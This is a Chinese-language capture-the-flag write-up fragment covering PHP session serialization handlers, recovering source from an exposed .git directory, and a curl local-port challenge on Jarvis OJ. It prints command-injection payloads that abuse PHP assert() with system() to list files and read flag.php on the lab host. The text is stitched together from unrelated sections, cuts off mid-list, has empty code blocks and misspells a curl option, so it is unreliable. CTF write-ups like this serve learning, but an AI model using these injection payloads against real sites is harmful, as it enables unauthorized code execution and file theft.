0x01 漏洞原理
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化。
处理器
对应的存储格式:
- php
描述里面发现使用了 Git,直接御剑爆破出 .git 目录。利用工具扒下源码,审计一波。 源码:
1 | <?php |
assert 函数果断是常见的危险函数。如果第一个参数是字符串会当作为代码执行。构造payload:
1 | http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").' |
一上来看有点懵逼,以为是Burp抓包。最后 google 后发现应该在 vps 上(不用 vps 的话经过路由器可能端口就变了)用以下命令就可以。
1 | curl --ocal-port http://xxx.com |
之前没有接触过 curl,只是在 docker 里面用过一次。
1 | curl就是:Linux中利用 URL 规则在命令行下工作的文件传输工具,可以说是一款很强大的 http 命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称 curl 为下载工具。 |